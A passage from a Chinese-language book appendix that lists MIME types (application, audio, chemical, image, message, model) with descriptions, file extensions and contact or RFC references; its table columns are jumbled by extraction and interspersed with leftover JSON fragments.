signedData 在内的几种类型的 PKCS #7 对象 application/ 公共密钥加密系统 #7——这种类 p7s RFC 2311 pkcs7-signature 型总是包含一个 signedData 类型 的 PKCS #7 对象 application/ 传输 X.509 证书 cer RFC 2585 pkix-cert application/ 传输 X.509 证书撤销列表 crl RFC 2585 pkix-crl MIME类型 ｜ 569 （续） MIME类型 描 述 扩 展 联系方式与参考文献 application/ X.509 公共密钥基础设施证书管 pki RFC 2510 pkixcmp 理协议所使用的报文格式 application/ Adobe PostScript 图像文件（程序） ai、ps、 RFC 2046 postscript eps application/ Harald T. Alvestrand 的“TimeTracker” http://domen.uninett.no/~hta/titrax/ 543 prs.alvestrand. 程序 titrax-sheet application/prs. Windows 下的 CU-Writer cw、cww Somchai Prasitjutrakul 博士 cww somchaip@chulkn.car.chula.ac.th application/prs. 未知 rnd、rct John M. Doggett nprend jdoggett@tiac.net application/ 包含了远程打印时用于打印机封 RFC 1486 remote-printing 面的元信息 Marshall T. Rose mrose@dbc.mtview.ca.us application/ Acorn 的 RISC OS 二进制文件 RISC OSProgrammer’s Reference riscos Manuals，AcornComputers,Ltd.， ISBN1852501103 application/sdp SDP 用于描述各种多媒体会话，目 RFC 2327 的是进行会话声明、会话邀请以及 Henning Schulzrinne 其他形式的多媒体会话初始化 hgs@cs.columbia.edu application/set- 支持 SET 安全电子交易支付协议 http://www.visa.com payment http://www.mastercard.com application/ set-payment- initiation application/set- registration application/set- registration- initiation application/ 用于支持 SGML Open TR9401: 1995 SGML Open sgml-open- “实体管理”规范的系统 910 Beaver Grade Road，#3008 catalog Coraopolis，PA 15109 info@sgmlopen.org application/ Sieve 邮件过滤脚本 RFC 3028 sieve 570 ｜ 附录 D （续） MIME类型 描 述 扩 展 联系方式与参考文献 application/slate BBN/Slate 文档格式是作为 BBN/ BBN/Slate Product Mgr Slate 产品标准文档集的一部分发 BBN Systems and Technologies 布的 10 Moulton Street Cambridge, MA 02138 application/smil SMIL（同步多媒体集成语言， smi、smil http://www.w3.org/AudioVideo/ Synchronized Multimedia Integration Language）将一组独立的多媒体 对象整合成了一种同步多媒体表 示形式 application/tve- 支持在增强型电视接收器里嵌入 “SMPTE: Declarative Data Essence, trigger URL Content Level 1”，由电影电视工程 师协会生成。"},
    {"text": "http://www.smpte.org application/ 增强型 videotex 标准 RFC 2122 vemmi application/ 由 Post-it® 因 特 网 设 计 者 须 知 因 pwn http://www.3M.com/psnotes/ vnd.3M.Post-it- 544 特网控制 / 插件使用 Notes application/vnd. Simply Accounting 软 件 的 7.0 及 aso http://www.ofx.net accpac.simply. 以 上 版 本。 这 种 类 型 的 文 件 与 aso Open Financial Exchange 版本 1.02 的规范一致 application/vnd. Simply Accounting 软 件 的 7.0 及 imp http://www.ofx.net accpac.simply. 以上版本使用，用于输入它自己 imp 的数据 application/vnd. ACUCOBOL-GT Runtime Dovid Lubin acucobol dovid@acucobol.com application/vnd. 支 持 在 AOL 即 时 通 信、Yahoo! 有许可证就可以从 Aether 系统中获 aether.imp Messenger 或 MSN Messenger 这 得 IMP（Wireless Instant Messaging 样的即时消息服务，和运行在无 Protocol，无线即时通信协议）规范 线设备上的特殊即时通信客户端 软件集之间进行高效的即时消息 通信 application/ Web 浏 览 器 装 载 ANSER-WEB- cii Hiroyoshi Mori vnd.anser-Web- Terminal Client 程序的触发器 mori@mm.rd.nttdata.co.jp certificate- issue-initiation MIME类型 ｜ 571 （续） MIME类型 描 述 扩 展 联系方式与参考文献 application/ 同上 fti 同上 vnd.anser-Web- funds-transfer- initiation application/vnd. AudioGraph aep Horia Cristian audiograph H.C.Slusanschi@massey.ac.nz application/vnd. CADAM 系统的 BMI 图像格式 bmi Tadashi Gotoh bmi tgotoh@cadamsystems.co.jp application/vnd. BusinessObjects4.0 及以上版本 rep businessobjects application/vnd. 支持佳能公司的办公图像产品 Shin Muto canon-cpdl shinmuto@pure.cpdc.canon.co.jp application/vnd. canon-lips application/vnd. Claymore.exe cla Ray Simpson claymore ray@cnation.com application/ 支持一种通用的智能卡卡载信息 ica、icf、 David C. Applebaum vnd.commerce- 定界机制，可用于数字商务、身 icd、icc、 applebau@131.167.52.15 battelle 份识别、认证以及基于智能卡的 ic0、ic1、 持证人信息交互 ic2、ic3、 ic4、ic5、 ic6、ic7、 ic8 application/vnd. 允许通过基于 MIME 的进程正确 csp、cst Ravinder Chandhok commonspace 传输 CommonSpace ™文档。"},
    {"text": "无线报文服务提供商的网 Motorola Personal Networks Group flexsuite 关、 无 线 OS 和 应 用 程 序 都 使 用 fmp014@email.mot.com 此类型 在适当许可协议的支持下，可以从摩 托罗拉获得 FLEXsuite ™规范 application/ FLEXsuite ™是无线报文协议的集 同上 550 vnd.motorola. 合。 这种类型为各种数据加密解 flexsuite.adsi 决方案提供了一种无线友好格式 application/ FLEXsuite ™ 是 无 线 报 文 协 议 的 同上 vnd.motorola. 集合。 这种类型是向无线设备高 flexsuite.fis 效 传 输 结 构 化 信 息（ 比 如 新 闻、 股票、天气）的无线友好格式 application/ FLEXsuite ™ 是 无 线 报 文 协 议 的 同上 vnd.motorola. 集合 flexsuite.gotap 这种类型为通过空中报文进行无 线设备属性编程提供了一种通用 的无线友好格式 MIME类型 ｜ 579 （续） MIME类型 描 述 扩 展 联系方式与参考文献 application/ FLEXsuite ™ 是 无 线 报 文 协 议 的 同上 vnd.motorola. 集合。 这种类型为加密密钥管理 flexsuite.kmr 提供了一种无线友好格式 application/ FLEXsuite ™ 是 无 线 报 文 协 议 的 同上 vnd.motorola. 集合。 这种类型支持在通过标记 flexsuite.ttc 文本压缩进行高效文本传输时使 用的一种无线友好格式 application/ FLEXsuite ™ 是 无 线 报 文 协 议 的 同上 vnd.motorola. 集合。 这种类型为向无线设备传 flexsuite.wem 输因特网电子邮件提供了无线友 好格式 application/vnd. 支持 Mozilla 的因特网应用程序集 xul Dan Rosen2 mozilla.xul+xml dr@netscape.com application/vnd. 支持微软的 Art Gallery cil deansl@microsoft.com ms-artgalry application/vnd. ASF 是一种多媒体文件格式，要 asf Eric Fleischman ms-asf 通 过 网 络 以 流 的 形 式 传 输 其 内 ericf@microsoft.com 容 以 支 持 分 布 式 多 媒 体 应 用 程 http://www.microsoft.com/mind/0997/ 序。 ASF 内容中可包含任意媒体 netshow/netshow.asp 类型的任意组合（比如音频、视 频、 图 片、URL、HTML 内 容、 MIDI、二维和三维模式、脚本以 及各种类型的对象） application/vnd. 微软的 Excel 电子表格 xls Sukvinder S. Gill ms-excel sukvg@microsoft.com application/vnd. 微软的特有格式 lrm Eric Ledoux ms-lrm ericle@microsoft.com application/vnd. 微软的 PowerPoint 演示文稿 ppt Sukvinder S. Gill ms-powerpoint sukvg@microsoft.com 551 application/vnd. 微软的项目文件 mpp 同上 ms-project application/vnd. 标识通常只能由 MAPI 应用程序 同上 ms-tnef 处 理 的 附 件。 这 种 类 型 是 Rich Text 本和 lcon 信息等富 MAPI 属 性的封装格式，如果不把这些信 息封装起来，就会在报文传输中 降级 580 ｜ 附录 D （续） MIME类型 描 述 扩 展 联系方式与参考文献 application/vnd. 微软的 Works 软件 同上 ms-works application/vnd. MSEQ 是一种适用于无线设备的 mseq Gwenael Le Bodic mseq 压缩多媒体格式 Gwenael.le_bodic@alcatel.fr http://www.3gpp.org application/vnd. 由那些实现了 msign 协议的应用程 Malte Borcherding msign 序使用，要求移动设备提供签名 Malte.Borcherding@brokat.com application/vnd. NIFF 音乐文件 Cindy Grande music-niff 72723.1272@compuserve.com ftp://blackbox.cartah.washington.edu/ pub/NIFF/NIFF6A.TXT application/vnd. RenaiScience 公 司 设 计 并 开 发 的 mus Robert G. Adams musician MUSICIAN 乐谱语言 / 编码系统 gadams@renaiscience.com application/vnd. 用于多分辨率图片信息的动态检 fpx Andy Mutz netfpx 索，就像惠普公司的 Imaging for andy_mutz@hp.com Internet 软件一样 application/ 支持 RogueWave 购买的 NobleNet nnd http://www.noblenet.com vnd.noblenet- Directory 软件 directory application/vnd. 支持 RogueWave 购买的 NobleNet nns http://www.noblenet.com noblenet-sealer Sealer 软件 application/vnd. 支持 RogueWave 购买的 NobleNet nnw http://www.noblenet.com noblenet-Web Web 软件 application/vnd. 支 持 Novadigm 的 RADIA 和 EDM edm Phil Burgard novadigm.EDM 产品 pburgard@novadigm.com application/vnd. 同上 edx 同上 novadigm.EDX application/vnd. 同上 ext 同上 novadigm.EXT application/vnd. 支持 Open Software Associates 的 ndc Steve Klos osa.netdeploy netDeploy 应用程序部署软件 stevek@osa.com http://www.osa.com application/vnd. PalmOS 系 统 软 件 和 应 用 程 序 使 prc、 Gavin Peacock palm 用 —— 这 种 新 的 类 型 application/ pdb、 gpeacock@palm.com 552 vnd.palm，取代了老的类型 applica- pqa、 tion/x-pilot oprc MIME类型 ｜ 581 （续） MIME类型 描 述 扩 展 联系方式与参考文献 application/vnd. 宝洁公司特有的标准报告系统 str April Gandert pg.format TN152 Procter & Gamble Way Cincinnati, Ohio 45202 (513) 983-4249 application/vnd. 宝洁公司特有的标准报告系统 ei6 同上 pg.osasli application/vnd. 仅在赛贝斯公司的 PowerBuilder pbd Reed Shilts powerbuilder6 发行版本 6、7 和 7.5 运行时环境 reed.shilts@sybase.com application/vnd. 中使用，包括不安全和安全两种 powerbuilder6-s 版本 application/vnd. powerbuilder7 application/vnd. powerbuilder7-s application/vnd. powerbuilder75 application/vnd. powerbuilder75-s application/vnd. Preview Systems 公司的 ZipLock/ box、 Roman Smolgovsky previewsystems. VBox 产品 vbox romans@previewsystems.com box http://www.previewsystems.com application/ 在 Capella 计 算 机 的 PubliShare qps Oren Ben-Kiki vnd.publishare- 运行时环境中使用 publishare-delta-tree@capella.co.il delta-tree application/vnd. Emultek 的快速封装应用程序 zrp Itay Szekely rapid etay@emultek.co.il application/vnd. 将 Sonera SmartTrust 产品的传输 Lauri Tarkkala s3sms 机制整合进因特网架构 Lauri.Tarkkala@sonera.com http://www.smarttrust.com application/vnd. 支 持 对 SeeMail 文 件 的 传 输。"},
    {"text": "see Steven Webb seemail SeeMail 是 一 种 应 用 程 序， 它 可 steve@wynde.com 捕获视频和音频，并通过按位压 http://www.realmediainc.com 缩方式将这两个部分压缩存档到 一个文件 application/vnd. Shana 电子表格数据格式 ifm Guy Selzler shana.informed. Shana Corporation formdata gselzler@shana.com application/vnd. Shana 电子表格数据格式 itp 同上 shana.informed. formtemp 582 ｜ 附录 D （续） MIME类型 描 述 扩 展 联系方式与参考文献 application/vnd. Shana 电子表格数据格式 iif、iifl 同上 shana.informed. interchange application/vnd. Shana 电子表格数据格式 ipk、 同上 shana.informed. ipkg package application/vnd. Street 技术公司特有的格式 Glenn Levitt street-stream Street Technologies streetd1@ix.netcom.com 553 application/vnd. Dateware 电子公司的 SVD 文件 Scott Becker svd dataware@compumedia.com application/vnd. 支持 SwiftView® Randy Prakken swiftview-ics tech@ndg.com http://www.ndg.com/svm.htm application/vnd. 支持 Triscape Map 浏览器 mxs Steven Simonoff triscape.mxs scs@triscape.com application/vnd. True BASIC 文件 tra J. Scott Hepler trueapp scott@truebasic.com application/vnd. Bitstream 公司特有的格式 Brad Chase truedoc brad_chase@bitstream.com application/vnd. UWI 的 UFDL 文件 ufdl、ufd、 Dave Manning ufdl frm dmanning@uwi.com http://www.uwi.com/ application/vnd. Unwired Planet（现在的 Openwave） iana-registrar@uplanet.com uplanet.alert 公司为移动设备提供的微浏览器 http://www.openwave.com application/vnd. UP 所使用的格式 uplanet.alert- wbxml application/vnd. uplanet.bearer- choi-wbxml application/vnd. uplanet.bearer- choice application/vnd. uplanet.cacheop application/ vnd.uplanet. cacheop-wbxml MIME类型 ｜ 583 （续） MIME类型 描 述 扩 展 联系方式与参考文献 application/vnd. uplanet.channel application/vnd. uplanet.channel- wbxml application/vnd. uplanet.list application/vnd. uplanet.list- wbxml application/vnd. uplanet.listcmd application/vnd. uplanet.listcmd- wbxml application/vnd. uplanet.signal application/vnd. VirtualCatalog vcx Taisuke Sugimoto vcx sugimototi@noanet.nttdata.co.jp application/vnd. VectorWorks 的图像文件 mcd Paul C. Pharr vectorworks pharr@diehlgraphsoft.com application/ VidConference 格式 vsc Robert Hess vnd.vidsoft. hess@vidsoft.de vidconference application/vnd. Visio 文件 vsd、vst、 Troy Sandal 554 visio vsw、vss troys@visio.com application/ Vividence 文件 vsf、vtd、 Mark Risher vnd.vividence. vd markr@vividence.com scriptfile application/vnd. WAP Service Indication 格式 sic、 WAP Forum Ltd wap.sic wbxml http://www.wapforum.org application/vnd. WAP Service Loading 格 式。"},
    {"text": "与 slc、 同上 wap.slc Service Loading 规 范 相 符 的 所 wbxml 有 内 容 都 可 以 在 http://www. wapforum.org 上找到 application/vnd. 无 线 设 备 的 WAP WBXML 二 进 wbxml 同上 wap.wbxml 制 XML 格式 “WAP BinaryXMLContent Format—— WBXML vevsion1.1” 584 ｜ 附录 D （续） MIME类型 描 述 扩 展 联系方式与参考文献 application/vnd. 无线设备的 WAP WML 格式 wmlc、 同上 wap.wmlc wbxml application/vnd. WAP WMLScript 格式 wmlsc 同上 wap.wmlscriptc application/vnd. WebTurbo 格式 wtb Yaser Rehem Webturbo Sapient Corporation yrehem@sapient.com application/vnd. 支持 HP3000 格式 support@wrq.com wrq-hp3000- support@3k.com labelled application/vnd. 支持 Worldtalk 软件 stf Bill Wohler wt.stf wohler@worldtalk.com application/vnd. CorelXARA 保 存 的 Xara 文 件， xar David Matthewman xara 这 是 Xara 有 限 公 司 编 写（ 并 由 david@xara.com Corel 销售的）的面向对象的矢量 http://www.xara.com 图像包 application/vnd. UWI 的 XFDL 文件 xfdl、 Dave Manning xfdl xfd、frm dmanning@uwi.com http://www.uwi.com application/vnd. 支持 Yellow River CustomMenu 插 cmp yellowriversw@yahoo.com yellowriver- 件，这个插件提供了自定义的浏 custom-menu 览器下拉菜单 application/ 在 MIME 中定义了 Whois++ 协议 RFC 2957 whoispp-query 的查询方式 application/ 在 MIME 中定义了 Whois++ 协议 RFC 2958 whoispp- 的响应方式 response application/wita Wang（王安）信息传输结构 文档号 715-0050A，Wang Laboratories （王安实验室） campbell@redsox.bsw.com application/ WordPerfect 文档 wordperfect5.1 application/ 承载了所有没有注册 IANA 映射 RFC 1494 555 x400-bp 的 X.400 主体部分 application/ 老版的二进制 CPIO 归档格式 bcpio x-bcpio MIME类型 ｜ 585 （续） MIME类型 描 述 扩 展 联系方式与参考文献 application/ 允许在 Web 页面内整合 CD-ROM vcd http://www.cdlink.com x-cdlink 媒体 application/ 来自 Apache mime.types pgn x-chess-pgm application/ Unix 压缩的二进制数据 z x-compress application/ CPIO 归档文件 cpio x-cpio application/ CSH 脚本 csh x-csh application/ Macromedia 的 Director 档案 dcr、dir、 x-director dxr application/ TeX DVI 文件 dvi x-dvi application/ 来自 Apache 的 mime.types spl x-futuresplash application/ GNU 的 tar 归档文件 gtar x-gtar application/ GZIP 压缩数据 gz x-gzip application/ 来自 Apache 的 mime.types hdf x-hdf application/ JavaScript 文件 js x-javascript application/ 在 SSEYO Koan Netscape Plugin 辅 skp、skd x-koan 助应用程序的帮助下，支持在因 skt、skm 特网上自动重放 Koan 音乐文件 application/ LaTeX 文件 latex x-latex application/ NETCDF 文件 nc、cdf x-netcdf application/x-sh SH 脚本 sh application/ SHAR 归档文件 shar x-shar 586 ｜ 附录 D （续） MIME类型 描 述 扩 展 联系方式与参考文献 application/ Macromedia 的 Flash 文件 swf x-shockware- flash application/ Stufflt 归档文件 sit x-stuffit application/ Unix SysV R4 CPIO 归档文件 sv4cpio x-sv4cpio application/ Unix SysV R4 CPIO 带 CRC 校验 sv4crc x-sv4crc 的归档文件 application/x-tar TAR 归档文件 tar application/x-tcl TCL 脚本 tcl application/ TeX 文件 tex x-tex application/ TeX 信息文件 texinfo、 x-texinfo texi application/ TROFF 文件 t、tr、 x-troff roff application/ TROFF Unix 帮助手册 man x-troff-man application/ TROFF+me 文件 me x-troff-me application/ TROFF+ms 文件 ms 556 x-troff-ms application/ 扩展 tar 交互格式 ustar 参见 IEEE 1003.1(1990) 规范 x-ustar application/ WAIS 源文件结构 Src x-wais-source application/xml 可扩展标记语言格式文件（如果 xml、dtd RFC 2376 希望浏览器等浏览工具将文件作 为纯文本处理，就使用 text/xml） application/zip PKWARE zip 归档文件 zip MIME类型 ｜ 587 D.4.2 audio/* 表 D-4 总结了音频内容类型。"},
    {"text": "表D-4 “Audio”MIME类型 MIME类型 描 述 扩 展 联系方式与参考文献 audio/32kadpcm 32 kHz ADPCM 音频编码 RFC 2421 audio/basic 8kHz 单 声 道 8 位 ISDN u-lawPCM au、snd RFC 1341 编码的音频 audio/G.772.1 G.722.1 将 50Hz-7kHz 的音频信号压 RFC 3047 缩 为 24kbit/s 或 32kbit/s。"},
    {"text": "L16 表 示 以 16 位 带 符 号 表 示 法表示的非压缩音频数据 audio/MP4A-LATM MPEG-4 音频 RFC 3016 audio/midi MIDI 音乐文件 m i d 、 m i d i 、 kar audio/mpeg MPEG 编码音频文件 mpga、mp2、 RFC 3003 mp3 audio/parityfec RTP 音频的奇偶前向纠错码 RFC 3009 audio/prs.sid 科摩多公司的 64 SID 音频文件 sid、psid http://www.geocities.com/ SiliconValley/Lakes/5147/ sidplay/docs.html#filefor- mats audio/telephoneev- 逻辑电话事件 RFC 2833 ent audio/tone 电话声音模式 RFC 2833 audio/vnd.cns.anp1 支持 Comverse 网络系统公司 Access Ann McLaughlin NP 网络服务平台上的声音和统一报 Comverse 网络系统 文应用程序特性 amclaughlin@comversens. 557 com audio/vnd.cns.inf1 支持 Comverse 网络系统公司 TRILOGUE 同上 Infinity 网络服务平台上的声音和统 一报文应用程序特性 588 ｜ 附录 D （续） MIME类型 描 述 扩 展 联系方式与参考文献 audio/vnd.digitalwi- Digital Winds 音 乐 是 封 装 在 很 小 的 eol Armands Strazds nds 封包（<3K）内的永不终结、可再生 armands.strazds@ 的交互式 MIDI 音乐 medienhaus-bremen.de audio/vnd.everad.plj EverAD 音频编码的特有格式 plj Tomer Weisberg tomer@everad.com audio/vnd.lucent.voi- 包 含 朗 讯 科 技 的 Intuity ™ AUDIX® lvp Frederick Block ce Multimedia Messaging System 和 rickblock@lucent.com Lucent Voice Player 在内的声音报文 http://www.lucent.com/ lvp/ audio/vnd.nortel.vbk 北电网络公司的声音块音频编码特 vbk Glenn Parsons 有的格式 Glenn.Parsons@ NortelNetworks.com audio/vnd.nuera.ece- 纽亚通信的音频和语音编码所特有的 ecelp4800 Michael Fox lp4800 格式，用于纽亚的 VoIP 网关、终端、 mfox@nuera.com 应用程序服务器，还作为各种主机平 台和 OS 的媒体服务使用 audio/vnd.nuera.ece- 同上 ecelp7470 同上 lp7470 audio/vnd.nuera.ece- 同上 ecelp9600 同上 lp9600 audio/vnd.octel.sbc 朗讯科技的 Sierra ™、Overture ™和 Jeff Bouis IMA ™ 平台上的声音报文使用的平 jbouis@lucent.com 均值为 18kbps 的可变速率编码 audio/vnd.qcelp 高通的音频编码 qcp Andy Dejaco adejaco@qualcomm.com audio/vnd.rhetorex. 在朗讯科技的 CallPerformer ™、Unified Jeff Bouis 32kadpcm Messenger ™这样的声音报文产品和 jbouis@lucent.com 其他产品中使用的 32kbps Rhetorex ™ ADPCM 音频编码 audio/vnd.vmx.cvsd 在 包 含 朗 讯 科 技 的 Overture200 ™、 同上 Overture 300 ™ 和 VMX 300 ™ 产 品 线在内的声音报文产品中使用的音 频编码 MIME类型 ｜ 589 （续） MIME类型 描 述 扩 展 联系方式与参考文献 audio/x-aiff AIFF 音频文件格式 aif, aiff, aifc audio/x-pn-realaudio Real Networks（ 前 身 是 Progressive ram, rm Networks）公司的 RealAudio 元文件 格式 audio/x-pn-realaudio- 来自 Apache 的 mime.types rpm 558 plugin audio/x-realaudio Real Networks（ 前 身 是 Progressive ra Networks） 公 司 的 RealAudio 音 频 格式 audio/x-wav WAV 音频文件 wav D.4.3 chemical/* 表 D-5 中 很 多 信 息 都 是 从 Chemical MIME 主 页 上 获 得 的（http://www.ch.ic.ac.uk/ chemime/）。"},
    {"text": "表D-5 “Chemical”MIME类型 MIME类型 描 述 扩展 联系方式和参考文献 chemical/x-alchemy Alchemy 格式 alc http://www.camsoft.com chemical/x-cache-csf csf chemical/x-cactvs-binary CACTVS 二进制格式 cbin http://cactvs.cit.nih.gov chemical/x-cactvs-ascii CACTVS ASCII 格式 cascii http://cactvs.cit.nih.gov chemical/x-cactvs-table CACTVS 表格式 ctab http://cactvs.cit.nih.gov chemical/x-cdx ChemDraw eXchange 文件 cdx http://www.camsoft.com chemical/x-cerius MSI Cerius II 格式 cer http://www.msi.com chemical/x-chemdraw ChemDraw 文件 chm http://www.camsoft.com chemical/x-cif Crystallographic Interchange cif http://www.bernstein-plus- Format sons.com/software/rasmol/ http://ndbserver.rutgers.edu/ NDB/mmcif/examples/index. html chemical/x-mmcif 高分子 CIF mcif 同上 chemical/x-chem3d Chem3D 格式 c3d http://www.camsoft.com chemical/x-cmdf CrystalMaker 数据格式 cmdf http://www.crystalmaker.co.uk 590 ｜ 附录 D （续） MIME类型 描 述 扩展 联系方式和参考文献 chemical/x-compass Takahashi 的 Compass 程序 cpa chemical/x-crossfire Crossfire 文件 bsd chemical/x-cml 化学标记语言 cml http://www.xml-cml.org chemical/x-csml 化学风格标记语言 csml、csm http://www.mdli.com chemical/x-ctx Gasteiger 小组的 CTX 文件格式 ctx chemical/x-cxf cxf chemical/x-daylight-smiles Smiles 格式 smi h t t p : / / w w w . d a y l i g h t . c o m / dayhtml/smiles/index.html chemical/x-embl-dl- EMBL 核苷酸格式 emb http://mercury.ebi.ac.uk nucleotide chemical/x-galactic-spc 光谱和色谱数据的 SPC 格式 spc http://www.galactic.com/galactic/ Data/spcvue.htm 559 chemical/x-gamess-input GAMESS 输入格式 inp、gam http://www.msg.ameslab.gov/ GAMESS/Graphics/MacMolPlt. shtml chemical/x-gaussian-input Gaussian Input 格式 gau http://www.mdli.com chemical/x-gaussian- Gaussian Checkpoint 格式 fch、fchk http://products.camsoft.com checkpoint chemical/x-gaussian-cube Gaussian Cube（Wavefunction cub http://www.mdli.com 波函数）格式 chemical/x-gcg8-sequence gcg chemical/x-genbank ToGenBank 格式 gen chemical/x-isostar 分子间相互作用的 IsoStar Library istr、ist http://www.ccdc.cam.ac.uk chemical/x-jcamp-dx JCAMP Spectroscopic Data jdx、dx http://www.mdli.com Exchange 格式 c h e m i c a l / x - j j c - r e v i e w - Re_View3 Orbital Contour 文件 rv3 http://www.brunel.ac.uk/depts/ surface chem/ch241s/re_view/rv3.htm chemical/x-jjc-review-xyz Re_View3Animation 文件 xyb http://www.brunel.ac.uk/depts/ chem/ch241s/re_view/rv3.htm chemical/x-jjc-review-vib Re_View3 Vibration（ 振 动 ） rv2、vib http://www.brunel.ac.uk/depts/ 文件 chem/ch241s/re_view/rv3.htm MIME类型 ｜ 591 （续） MIME类型 描 述 扩展 联系方式和参考文献 chemical/x-kinemage Kinetic（Protein Structure, 蛋 kin http://www.faseb.org/protein/ 白质结构）图片 kinemages/MageSoftware.html chemical/x-macmolecule 高分子文件格式 mcm chemical/x-macromodel- 宏模型分子力学 mmd、 http://www.columbia.edu/cu/ input mmod chemistry/ chemical/x-mdl-molfile MDL Molfile mol http://www.mdli.com chemical/x-mdl-rdfile Reaction（反应）数据文件 rd http://www.mdli.com chemical/x-mdl-rxnfile MDL Reaction 格式 rxn http://www.mdli.com chemical/x-mdl-sdfile MDL Structure 数据文件 sd http://www.mdli.com chemical/x-mdl-tgf MDL Transportable Graphics tgf http://www.mdli.com 格式 chemical/x-mif mif chemical/x-mol2 SYBYL 分子的便携式表示形式 mol2 http://www.tripos.com chemical/x-molconn-Z Molconn-Z 格式 b http://www.eslc.vabiotech.com/ molconn/molconnz.html chemical/x-mopac-input MOPAC Input 格式 mop http://www.mdli.com chemical/x-mopac-graph MOPAC Graph 格式 gpt http://products.camsoft.com chemical/x-ncbi-asn1 asn （老格 式） chemical/x-ncbi-asn1-binary val chemical/x-pdb 蛋白质数据库 pdb pdb http://www.mdli.com 560 chemical/x-swissprot SWISS-PROT 蛋 白 质 序 列 数 sw http://www.expasy.ch/spdbv/ 据库 text/download.htm chemical/x-vamas-iso14976 材料及标准的凡尔赛协定 vms http://www.acolyte.co.uk/JISO/ chemical/x-vmd 视觉分子动力学软件 vmd http://www.ks.uiuc.edu/ Research/vmd/ chemical/x-xtel Xtelplot 文件格式 xtel http://www.recipnet.indiana.edu/ graphics/xtelplot/xtelplot.htm chemical/x-xyz Co-ordinate Animation 格式 xyz http://www.mdli.com 592 ｜ 附录 D D.4.4 image/* 表 D-6 总结了电子邮件和 HTTP 经常交换的一些图片类型。"},
    {"text": "表D-6 “Image”MIME类型 MIME类型 描 述 扩 展 联系方式和参考文献 image/bmp Windows 的 BMP 图片格式 bmp image/cgm CGM （Computer Graphics Alan Francis Metafile，计算机图形元文件） A.H.Francis@open.ac.uk 是便携式存储和传输二维插图 参见 ISO 8632:1992，IS 8632: 的国际标准 1992 Amendment1 （1994） 和 IS 8632:1992 Amendment2 （1995） image/g3fax G3 传真字节流 RFC 1494 image/gif Compuserve GIF 图片 gif RFC 1341 image/ief ief RFC 1314 image/jpeg JPEG 图片 jpeg、jpg、 JPEG 草 案 标 准 ISO 10918-1 jpe、jfif CD image/naplps NAPLPS（北美表示层协议语 A N S I X 3 . 1 1 0 - 1 9 8 3 C S A 法，North American Presentation T500-1983 Layer Protocol Syntax）图片 image/png PNG（便携式网络图像）图片 png 因 特 网 草 案 draft-boutell-png- spec-04.txt，“Png Specification Version1.0” image/prs.btif 美国国家银行为支票及其他应 btif、btf Arthur Rubin 用程序的 BTIF 图片视图所使 arthurr@crt.com 用的格式 image/prs.pti PTI 编码图片 pti Juern Laun juern.laun@gmx.de http://server.hvzgymn.wn.sch- ule-bw.de/pti/ image/tiff TIFF 图片 tiff、tif RFC 2302 561 image/vnd.cns.inf2 支持 Comverse 网络系统公司 Ann McLaughlin TRILOGUE Infinity 网 络 服 Comverse 网络系统公司 务 器 平 台 上 可 用 的 应 用 程 序 amclaughlin@comversens. 特性 com image/vnd.dxf DXF 矢量 CAD 文件 dxf MIME类型 ｜ 593 （续） MIME类型 描 述 扩 展 联系方式和参考文献 image/vnd.fastbidsheet FastBid Sheet 中 包 含 一 个 用 fbs Scott Becker 来 表 示 工 程 或 建 筑 图 纸 的 光 scottb@bxwa.com 栅或矢量图片 image/vnd.fpx 柯达的 FlashPix 图片 fpx Chris Wing format_change_request@kod- ak.com http://www.kodak.com image/vnd.fst FAST 搜索及传输的图片格式 fst Arild Fuldseth Arild.Fuldseth@fast.no image/vnd.fujixerox.edmi- 富 士 施 乐 的 EDMICS MMR mmr Masanori Onda cs-mmr 图片格式 Masanori.Onda@fujixerox. co.jp i m a g e / v n d . f u j i x e r o x . 富士施乐的 EDMICS RLC 图 rlc 同上 edmics-rlc 片格式 image/vnd.mix MIX 文件包含了流中用来表 Saveen Reddy2 示 图 片 及 相 关 信 息 的 二 进 制 saveenr@microsoft.com 数据。 由微软的 PhotDraw 和 PictureIt 软件使用 image/vnd.net-fpx 柯达的 FlashPix 图片 Chris Wing format_change_request@kod- ak.com http://www.kodak.com image/vnd.wap.wbmp 来自 Apache 的 mime.types wbmp image/vnd.xiff Pagis 软件所用的扩展图片格式 xif Steve Martin smartin@xis.xerox.com image/x-cmu-raster 来自 Apache 的 mime.types ras image/x-portable-anymap PBM 通用图片 pnm Jeff Poskanzer http://www.acme.com/softwa- re/pbmplus/ image/x-portable-bitmap PBM 位图图片 pbm 同上 image/x-portable-graymap PBM 灰度图片 pgm 同上 image/x-portable-pixmap PBM 彩色图片 ppm 同上 image/x-rgb 硅图的 RGB 图片 rgb image/x-xbitmap X-Window System 的位图图片 xbm image/x-xpixmap X-Window System 的彩色图片 xpm image/x-xwindowdump X-Window System 的屏幕截取 xwd 562 图片 594 ｜ 附录 D D.4.5 message/* 报文是用来（通过电子邮件、HTTP 或其他传输协议）交互数据对象的复合类型。"},
    {"text": "表D-7 “Message”MIME类型 MIME类型 描 述 扩 展 联系方式及参考文献 message/delivery-status message/disposition-notification RFC 2298 message/external-body RFC 1341 message/http RFC 2616 message/news 定 义 了 一 种 通 过 电 子 邮 件 传 RFC 1036 输 可 读 新 闻 文 章 的 方 式 —— 新 闻 首 部 的 语 义 超 出 了 RFC 822 定义的范围，所以仅使用 message/rfc822 是不够的 message/partial 允许对那些太大，无法直接通 RFC 1341 过电子邮件传输的主体部分进 行分段传输 message/rfc822 完整的电子邮件报文 RFC 1341 message/s-http 安 全 HTTP 报 文， 是 对 SSL RFC 2660 上 HTTP 的替代方式 D.4.6 model/* MIME 类型 model 是 IETF 注册的扩展类型。"},
    {"text": "表D-8 “Model”MIME类型 MIME类型 描 述 扩 展 联系方式及参考文献 model/iges IGES（Initial Graphics Exchange igs、iges RFC 2077 Specification， 初 始 图 像 交 换 规 范 ） 定 义 了 一 种 中 立 数 据 格 式， 通过它可以在 CAD 系统之间进行 信息的数字化交换 model/mesh msh、mesh、 RFC 2077 silo MIME类型 ｜ 595 （续） MIME类型 描 述 扩 展 联系方式及参考文献 model/vnd.dwf DWF CAD 文件 dwf Jason Pratt jason.pratt@autodesk.com model/vnd.flatland.3dml 支持 Flatland 产品的 3DML 模型 3dml、3dm Michael Powers pow@flatland.com 563 http://www.flatland.com model/vnd.gdl GDL（Geometric Description gdl、gsm、 Attila Babits model/vnd.gs-gdl Language，几何描述语言）是 win、dor、 ababits@graphisoft.hu Graphisoft 为 ArchiCAD 设计的 lmp、rsm、 http://www.graphisoft. 参数化对象定义语言 msm、ism com model/vnd.gtw Gen-Trix 模型 gtw Yutaka Ozaki yutaka_ozaki@gen.co.jp model/vnd.mts Virtue 的 MTS 模型格式 mts Boris Rabinovitch 